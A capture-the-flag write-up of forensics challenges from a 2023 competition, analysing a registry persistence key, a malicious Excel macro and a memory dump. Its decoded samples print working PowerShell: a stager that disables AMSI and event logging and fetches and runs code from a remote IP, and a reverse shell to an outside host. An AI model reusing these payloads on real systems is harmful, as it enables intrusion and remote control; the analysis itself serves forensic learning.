PCGL Summer Smash - 2023
Forensics
Those Who Persist
During a recent incident it was discovered that malicious actors have compromised many hosts in our internal network. We need to identify and analyze the mechanism they used to achieve persistence.
I was looking for an easy way out with strings NTUSER.DAT | grep HTB
, but no such luck. Searching for flag
and flag
didn't net any useful results either. When I tried normal strings
, I found an interesting result:
!Do not use this registry key
{374DE290-123F-4565-9164-39C4925E467B}
And whenever I used Find
to get to the registry key, it took me to Computer\HKEY_CLASSES_ROOT\CLSID\{374DE290-123F-4565-9164-39C4925E467B}
. I couldn't find anything interesting though, so I don't think we are on the right track.
I saw indications of PowerShell running ({1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe
), as well as the Registry Viewer ({7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\AccessData\Registry Viewer\RegistryViewer.exe
), OneDrive (C:\Users\wade\AppData\Local\Microsoft\OneDrive\OneDrive.exeDrive
), and Sticky Notes (Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe
).
We know that the memory was captured via FTK Imager thanks to 6yC:\Program Files\AccessData\FTK Imager\FTK Imager.exe
and C:\Users\wade\Downloads\AccessData_FTK_Imager_4.7.1.exe
. The user was wade
and the computer is named desktop-utdhed2
. There was one interesting looking URL, https://wns2-ln2p.notify.windows.com/?token=AwYAAADaCKxVjYVkpi8ZwzNMP8g5sZN0ndGzTAvIg5RQrzYLwKZUAcgOiizBFcDnJQCbltVwZgIqGruS6xM/R7dKPBesYDeXTdgIU41vXWJpOQ8AkY3Kv80CBB2LWCQcu5lMPbGk4RT0N89dotkwwcaLx2j2, but I wasn't able to get it to load.
I decided to circle back to the registry stuff, since that really struck me as odd the first time I saw it. I used strings NTUSER.DAT | grep "Registry Viewer" -A 5 -B 5
to get me only the bits that would likely be important, or to at least narrow down the search space. For the one I found earlier with the GUID 7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E
, I did some digging and determined that it was used as a KNOWNFOLDERID for FOLDERID_ProgramFilesX86
, which matches up with the other path we found: C:\Program Files (x86)\AccessData\Registry Viewer\RegistryViewer.exe
.
I wasn't finding anything in strings
, so I decided to take a look inside the actual file. Whenever I did, there was a large amount of base64-like text that was present by the string R e g i s t r y V i e w e r . e x e
, so I decided to investigate. Upon parsing it out in CyberChef by removing the spaces, decoding base64, and decoding the text as UTF-16LE (1200), I got the following:
If($PSVersionTable.PSVersion.Major -ge 3){$Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADMA')));$t='/admin/get.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('J*E6.pn]PZG1rqcoV)j83/X,abe7N(vR');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","GqjqNENk=xJ0jGlAkbz30cLJ6GZpWpvQuSzE=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX
The base64 string near /admin/get.php
can be decoded to http://77.74.198.52:8083/
, which isn't currently a live site, either the root IP or the /admin/get.php
path.
Turns out you can use strings -e l NTUSER.DAT
to parse out text that was created on Windows, and life was made a whole lot easier when I did that. I found a second base64-encoded block that actually had the flag in it, I was overthinking everything:
If($PSVersionTable.PSVersion.Major -ge 3){$Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$flag='HTB{3v3n_th0s3_wh0_p3rs1st_c4n_b3_d3t3ct3d}';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADMA')));$t='/admin/get.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('J*E6.pn]PZG1rqcoV)j83/X,abe7N(vR');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","GqjqNENk=xJ0jGlAkbz30cLJ6GZpWpvQuSzE=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX
Answer: HTB{3v3n_th0s3_wh0_p3rs1st_c4n_b3_d3t3ct3d}
; 525 points
Sabotage
A lot of people wanted to be the fist to create a time machine. Unfortunately for them Dr. Brown was the one to do it. Thus, he receives a ton of phishing mails per day. Most of them are prompting him to go back in time in order to infect his old computer which contains the time-machine blueprints. Analyse this document and decide whether it is a trap or not.
The first thing I did was extract the archive from the XLSM file to see what was inside. I went to xl/macrosheets
and found sheet1.xml. Instead of trying to manually defobfuscate all the code, I attempted to use XLMMacroDeobfuscator like so:
$ python3 -m pip install XLMMacroDeobfuscator --force
$ xlmdeobfuscator --file .\congratulations.xlsm
_ _______
|\ /|( \ ( )
( \ / )| ( | () () |
\ (_) / | | | || || |
) _ ( | | | |(_)| |
/ ( ) \ | | | | | |
( / \ )| (____/\| ) ( |
|/ \|(_______/|/ \|
______ _______ _______ ______ _______ _______ _______ _______ _________ _______ _______
( __ \ ( ____ \( ___ )( ___ \ ( ____ \|\ /|( ____ \( ____ \( ___ )\__ __/( ___ )( ____ )
| ( \ )| ( \/| ( ) || ( ) )| ( \/| ) ( || ( \/| ( \/| ( ) | ) ( | ( ) || ( )|
| | ) || (__ | | | || (__/ / | (__ | | | || (_____ | | | (___) | | | | | | || (____)|
| | | || __) | | | || __ ( | __) | | | |(_____ )| | | ___ | | | | | | || __)
| | ) || ( | | | || ( \ \ | ( | | | | ) || | | ( ) | | | | | | || (\ (
| (__/ )| (____/\| (___) || )___) )| ) | (___) |/\____) || (____/\| ) ( | | | | (___) || ) \ \__
(______/ (_______/(_______)|/ \___/ |/ (_______)\_______)(_______/|/ \| )_( (_______)|/ \__/
XLMMacroDeobfuscator(v0.2.7) - https://github.com/DissectMalware/XLMMacroDeobfuscator
File: D:\Programming\bits-and-bobbles\notes\assets\hackthebox\PCGL-Summer-Smash-2023\forensics_sabotage\congratulations.xlsm
Unencrypted xlsm file
[Loading Cells]
auto_open: auto_open->Empty!$A$1:$A$172
[Starting Deobfuscation]
CELL:A1 , FullEvaluation , GOTO($CI$19)
CELL:CI24 , FullEvaluation , GOTO($DC$53)
CELL:DC53 , FullEvaluation , FORMULA("=REGISTER(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",""qgwmsy"","""",1,9)",$F$137)
CELL:DC58 , FullEvaluation , GOTO($GC$104)
CELL:GC104 , FullEvaluation , FORMULA("=qgwmsy(0,""open"",program,args,0,5)",$H$111)
CELL:GC105 , FullEvaluation , GOTO($AC$55)
CELL:AC55 , FullEvaluation , SET.NAME(program,$AC$54)
CELL:AC60 , FullEvaluation , SET.NAME(part1,$AC$59)
CELL:AC65 , FullEvaluation , SET.NAME(part2,$AC$64)
CELL:AC70 , FullEvaluation , SET.NAME(part3,$AC$69)
CELL:AC71 , FullEvaluation , GOTO($BT$100)
CELL:BT105 , FullEvaluation , SET.NAME(part4,$BT$104)
CELL:BT111 , FullEvaluation , SET.NAME(part5,$BT$110)
CELL:BT117 , FullEvaluation , SET.NAME(part6,$BT$116)
CELL:BT123 , FullEvaluation , SET.NAME(part7,$BT$122)
CELL:BT129 , FullEvaluation , SET.NAME(part8,$BT$128)
CELL:BT137 , FullEvaluation , SET.NAME(part9,$BT$136)
CELL:BT143 , FullEvaluation , SET.NAME(part10,$BT$142)
CELL:BT150 , FullEvaluation , SET.NAME(part11,$BT$149)
CELL:BT156 , FullEvaluation , SET.NAME(part12,$BT$155)
CELL:BT163 , FullEvaluation , SET.NAME(part13,$BT$162)
CELL:BT170 , FullEvaluation , SET.NAME(part14,$BT$169)
CELL:BT171 , FullEvaluation , GOTO($AE$55)
CELL:AE61 , FullEvaluation , SET.NAME(part15,$AE$60)
CELL:AE68 , FullEvaluation , SET.NAME(part16,$AE$67)
CELL:AE74 , FullEvaluation , SET.NAME(part17,$AE$73)
CELL:AE80 , FullEvaluation , SET.NAME(part18,$AE$79)
CELL:AE83 , FullEvaluation , SET.NAME(part19,$AE$82)
CELL:AE84 , FullEvaluation , GOTO($DC$99)
CELL:DC102 , FullEvaluation , SET.NAME(part20,$DC$101)
CELL:DC105 , FullEvaluation , SET.NAME(part21,$DC$104)
CELL:DC109 , FullEvaluation , SET.NAME(part22,$DC$108)
CELL:DC113 , FullEvaluation , SET.NAME(part23,$DC$112)
CELL:DC119 , FullEvaluation , SET.NAME(part24,$DC$118)
CELL:DC125 , FullEvaluation , SET.NAME(part25,$DC$124)
CELL:DC131 , FullEvaluation , SET.NAME(part26,$DC$130)
CELL:DC138 , FullEvaluation , SET.NAME(part27,$DC$137)
CELL:DC145 , FullEvaluation , SET.NAME(part28,$DC$144)
CELL:DC150 , FullEvaluation , SET.NAME(part29,$DC$149)
CELL:DC155 , FullEvaluation , SET.NAME(part30,$DC$154)
CELL:DC156 , FullEvaluation , SET.NAME(args,-enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA0ADcALgAxADgAMgAuADEANwAyAC4AMQA4ADkAJwAsADgAMAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAGYAbABhAGcAPQAiAEgAVABCAHsANABuAF8ANAB0AHQANABjAGsAXwBWADMAYwB0ADAAcgBfAEMANABtADMAXwBmAHIAMABtAF8AdABoADMAXwBwADQAcwB0AH0AIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=)
CELL:DC157 , FullEvaluation , GOTO($F$137)
CELL:F137 , FullEvaluation , =REGISTER("Shell32","ShellExecuteA","JJCCCJJ","qgwmsy","",1,9)
CELL:F138 , FullEvaluation , GOTO($H$111)
CELL:H111 , PartialEvaluation , =Shell32.ShellExecuteA(0,"open","C:\Windows\System32\WindowsPowerShell\v1. 0\powershell.exe",-enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA0ADcALgAxADgAMgAuADEANwAyAC4AMQA4ADkAJwAsADgAMAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAGYAbABhAGcAPQAiAEgAVABCAHsANABuAF8ANAB0AHQANABjAGsAXwBWADMAYwB0ADAAcgBfAEMANABtADMAXwBmAHIAMABtAF8AdABoADMAXwBwADQAcwB0AH0AIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=,0,5)
CELL:H112 , FullEvaluation , RETURN()
Files:
[END of Deobfuscation]
time elapsed: 0.18193507194519043
We can see the base64-encoded PowerShell, so all we need to do is run it through From Base64
and Decode Text UTF-16LE (1200)
on CyberChef and we get the following:
$client = New-Object System.Net.Sockets.TCPClient('147.182.172.189',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$flag="HTB{4n_4tt4ck_V3ct0r_C4m3_fr0m_th3_p4st}";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Answer: HTB{4n_4tt4ck_V3ct0r_C4m3_fr0m_th3_p4st}
; 650 points
Unfinished Business
"Mad Dog" Tannen wanted to get revenge on Marty after their duel outside of Palace Saloon. While in prison, he developed a ransomware to infect Marty's computer. Now, every time Marty reboots his computer, his files get encrypted. Without being able to access them, Marty cannot follow the plan Mr.Brown sent to him, in order to escape the Old West before it is too late. Backup link: drive.google.com/file/d/12SU4D6VPNEGkYVyH1T17ZngUY_-9vdPA
Since this is a raw memory file, I figured Volatility would be as good a starting point as any. The first thing I ran was ./vol.py -f memory.raw windows.psscan.PsScan
:
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output
4 0 System 0x2cca940 73 515 N/A False 2022-02-10 16:33:26.000000 N/A Disabled
1292 436 spoolsv.exe 0x242ea2a8 16 299 0 False 2022-02-10 16:33:28.000000 N/A Disabled
2732 2524 VBoxTray.exe 0x3e2a0030 14 159 2 False 2022-02-10 16:33:41.000000 N/A Disabled
3272 556 dllhost.exe 0x3e2b2170 6 16 2 False 2022-02-10 16:33:54.000000 N/A Disabled
312 304 conhost.exe 0x3e442d28 2 33 0 False 2022-02-10 16:33:29.000000 N/A Disabled
428 272 sshd.exe 0x3e454b00 4 102 0 False 2022-02-10 16:33:29.000000 N/A Disabled
1900 436 svchost.exe 0x3e459030 6 94 0 False 2022-02-10 16:33:30.000000 N/A Disabled
2240 2232 csrss.exe 0x3e493d28 7 187 2 False 2022-02-10 16:33:37.000000 N/A Disabled
1124 436 SearchIndexer. 0x3e49e030 15 713 0 False 2022-02-10 16:33:35.000000 N/A Disabled
2100 1124 SearchProtocol 0x3e4da030 9 280 0 False 2022-02-10 16:33:35.000000 N/A Disabled
2120 1124 SearchFilterHo 0x3e4de030 6 91 0 False 2022-02-10 16:33:35.000000 N/A Disabled
2164 1124 SearchProtocol 0x3e4f2578 8 257 1 False 2022-02-10 16:33:35.000000 N/A Disabled
2268 2232 winlogon.exe 0x3e505488 6 125 2 False 2022-02-10 16:33:37.000000 N/A Disabled
2496 2268 userinit.exe 0x3e544820 4 47 2 False 2022-02-10 16:33:41.000000 N/A Disabled
2512 828 dwm.exe 0x3e54f350 4 71 2 False 2022-02-10 16:33:41.000000 N/A Disabled
2524 2496 explorer.exe 0x3e552668 32 676 2 False 2022-02-10 16:33:41.000000 N/A Disabled
1112 436 svchost.exe 0x3e60f030 21 371 0 False 2022-02-10 16:33:27.000000 N/A Disabled
1212 828 dwm.exe 0x3e623818 4 70 1 False 2022-02-10 16:33:28.000000 N/A Disabled
1224 1196 explorer.exe 0x3e631030 34 665 1 False 2022-02-10 16:33:28.000000 N/A Disabled
1328 436 taskhost.exe 0x3e67d370 10 155 1 False 2022-02-10 16:33:28.000000 N/A Disabled
1336 436 svchost.exe 0x3e67ed28 25 322 0 False 2022-02-10 16:33:28.000000 N/A Disabled
1448 436 vmicsvc.exe 0x3e6d24c8 7 105 0 False 2022-02-10 16:33:28.000000 N/A Disabled
1468 436 vmicsvc.exe 0x3e6e25f8 9 114 0 False 2022-02-10 16:33:28.000000 N/A Disabled
1496 436 vmicsvc.exe 0x3e6e9d28 5 68 0 False 2022-02-10 16:33:28.000000 N/A Disabled
1520 436 vmicsvc.exe 0x3e6ecd28 6 81 0 False 2022-02-10 16:33:28.000000 N/A Disabled
1548 436 vmicsvc.exe 0x3e6f2a48 6 82 0 False 2022-02-10 16:33:28.000000 N/A Disabled
1584 436 svchost.exe 0x3e6f83c0 13 188 0 False 2022-02-10 16:33:28.000000 N/A Disabled
272 1804 cygrunsrv.exe 0x3e7d2a70 0 - 0 False 2022-02-10 16:33:29.000000 2022-02-10 16:33:29.000000 Disabled
1916 436 wlms.exe 0x3e7f4918 5 48 0 False 2022-02-10 16:33:28.000000 N/A Disabled
304 296 csrss.exe 0x3e8b2030 8 466 0 False 2022-02-10 16:33:26.000000 N/A Disabled
352 332 csrss.exe 0x3e8bd8a0 7 180 1 False 2022-02-10 16:33:26.000000 N/A Disabled
436 340 services.exe 0x3e923030 27 274 0 False 2022-02-10 16:33:27.000000 N/A Disabled
444 340 lsass.exe 0x3e92ad28 9 651 0 False 2022-02-10 16:33:27.000000 N/A Disabled
452 340 lsm.exe 0x3e92b3d0 12 189 0 False 2022-02-10 16:33:27.000000 N/A Disabled
556 436 svchost.exe 0x3e93d3a8 15 372 0 False 2022-02-10 16:33:27.000000 N/A Disabled
828 436 svchost.exe 0x3e948030 22 433 0 False 2022-02-10 16:33:27.000000 N/A Disabled
620 436 VBoxService.ex 0x3e973030 12 118 0 False 2022-02-10 16:33:27.000000 N/A Disabled
724 436 svchost.exe 0x3e992820 19 366 0 False 2022-02-10 16:33:27.000000 N/A Disabled
1240 436 sppsvc.exe 0x3e9ad360 6 151 0 False 2022-02-10 16:33:30.000000 N/A Disabled
880 436 svchost.exe 0x3e9c8708 39 822 0 False 2022-02-10 16:33:27.000000 N/A Disabled
672 436 svchost.exe 0x3ee2da28 10 258 0 False 2022-02-10 16:33:27.000000 N/A Disabled
392 332 winlogon.exe 0x3ee4bd28 6 122 1 False 2022-02-10 16:33:26.000000 N/A Disabled
1804 436 cygrunsrv.exe 0x3ee4c030 7 107 0 False 2022-02-10 16:33:28.000000 N/A Disabled
1720 1224 VBoxTray.exe 0x3ee4fd28 15 164 1 False 2022-02-10 16:33:28.000000 N/A Disabled
2460 436 taskhost.exe 0x3ee9a6c8 10 157 2 False 2022-02-10 16:33:41.000000 N/A Disabled
984 436 svchost.exe 0x3eeb25f0 21 347 0 False 2022-02-10 16:33:27.000000 N/A Disabled
236 4 smss.exe 0x3ef877b8 4 32 N/A False 2022-02-10 16:33:26.000000 N/A Disabled
340 296 wininit.exe 0x3f1fbb00 7 88 0 False 2022-02-10 16:33:26.000000 N/A Disabled
3180 2240 conhost.exe 0x3f4a1d28 2 52 2 False 2022-02-10 16:33:49.000000 N/A Disabled
3180 2240 conhost.exe 0x3f562d28 2 52 2 False 2022-02-10 16:33:49.000000 N/A Disabled
3168 2524 DumpIt.exe 0x3ffe3030 2 37 2 False 2022-02-10 16:33:49.000000 N/A Disabled
Didn't see anything too crazy here, so I decided to move on. Next I looked for processes running via the command line with ./vol.py -f memory.raw windows.cmdline.CmdLine
:
PID Process Args
4 System Required memory at 0x10 is not valid (process exited?)
236 smss.exe \SystemRoot\System32\smss.exe
304 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
340 wininit.exe wininit.exe
352 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
392 winlogon.exe winlogon.exe
436 services.exe C:\Windows\system32\services.exe
444 lsass.exe C:\Windows\system32\lsass.exe
452 lsm.exe C:\Windows\system32\lsm.exe
556 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch
620 VBoxService.ex system32\VBoxService.exe
672 svchost.exe C:\Windows\system32\svchost.exe -k RPCSS
724 svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
828 svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
880 svchost.exe C:\Windows\system32\svchost.exe -k netsvcs
984 svchost.exe C:\Windows\system32\svchost.exe -k LocalService
1112 svchost.exe C:\Windows\system32\svchost.exe -k NetworkService
1212 dwm.exe "C:\Windows\system32\Dwm.exe"
1224 explorer.exe C:\Windows\Explorer.EXE
1292 spoolsv.exe C:\Windows\System32\spoolsv.exe
1328 taskhost.exe "taskhost.exe"
1336 svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
1448 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature Heartbeat
1468 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature KvpExchange
1496 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature Shutdown
1520 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature TimeSync
1548 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature VSS
1584 svchost.exe C:\Windows\System32\svchost.exe -k utcsvc
1720 VBoxTray.exe "C:\Windows\System32\VBoxTray.exe"
1804 cygrunsrv.exe "C:\Program Files\OpenSSH\bin\cygrunsrv.exe"
1916 wlms.exe C:\Windows\system32\wlms\wlms.exe
272 cygrunsrv.exe Required memory at 0x7ffde010 is not valid (process exited?)
312 conhost.exe \??\C:\Windows\system32\conhost.exe "1461302731-417121245-1987161817-246317684428009589-979160381-487456892177321264
428 sshd.exe "C:\Program Files\OpenSSH\usr\sbin\sshd.exe"
1240 sppsvc.exe C:\Windows\system32\sppsvc.exe
1900 svchost.exe C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
1124 SearchIndexer. C:\Windows\system32\SearchIndexer.exe /Embedding
2100 SearchProtocol "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
2120 SearchFilterHo "C:\Windows\system32\SearchFilterHost.exe" 0 504 508 516 65536 512
2164 SearchProtocol "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-1716914095-909560446-1177810406-10002_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-1716914095-909560446-1177810406-10002 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
2240 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
2268 winlogon.exe winlogon.exe
2460 taskhost.exe "taskhost.exe"
2496 userinit.exe C:\Windows\system32\userinit.exe
2512 dwm.exe "C:\Windows\system32\Dwm.exe"
2524 explorer.exe C:\Windows\Explorer.EXE
2732 VBoxTray.exe "C:\Windows\System32\VBoxTray.exe"
3168 DumpIt.exe "C:\Users\Marty\Desktop\DumpIt.exe"
3180 conhost.exe \??\C:\Windows\system32\conhost.exe "752291123-1062527654-1094795979-574998146-1859017313-1489761232-975889212-1831561519
3272 dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Nothing crazy there, and netscan
didn't net anything interesting either. I tried dumping all the files to see if anything interesting shook out with ./vol.py -f memory.raw -o ./dumped_files windows.dumpfiles.DumpFiles
, and I got 2,398 resulting artifacts, but nothing that immediately appeared to be relevant.
I ran the windows.pstree
module to check if any services were spawned via parent processes that were out of place, but couldn't find anything anomalous.
reversing
string theory
Our leading scientists have worked for years to uncover the secrets of the universe, and we've finally obtained it! Unfortunately, one of them was very clumsy and dropped the documentation into a wormhole, where it's been shattered across time and space! Can you recover it for them?
This one was extremely easy, just run strings stringtheory
and parse through the results for the flag.
Answer: HTB{f4l1in9_thr0ug4_th3_wrmh0l3z!}
; 300 points
88 MPH
When this baby hits 88 miles per hour, you're gonna see some serious - wait, somethings wrong! Can you fix the DeLorean's engine before it's too late?
Web
TitanMail
You are a security researcher hired by a company to perform a penetration test on their web application. During your analysis, you discover that the application allows users to have a custom subscribe template. Can you test it out?
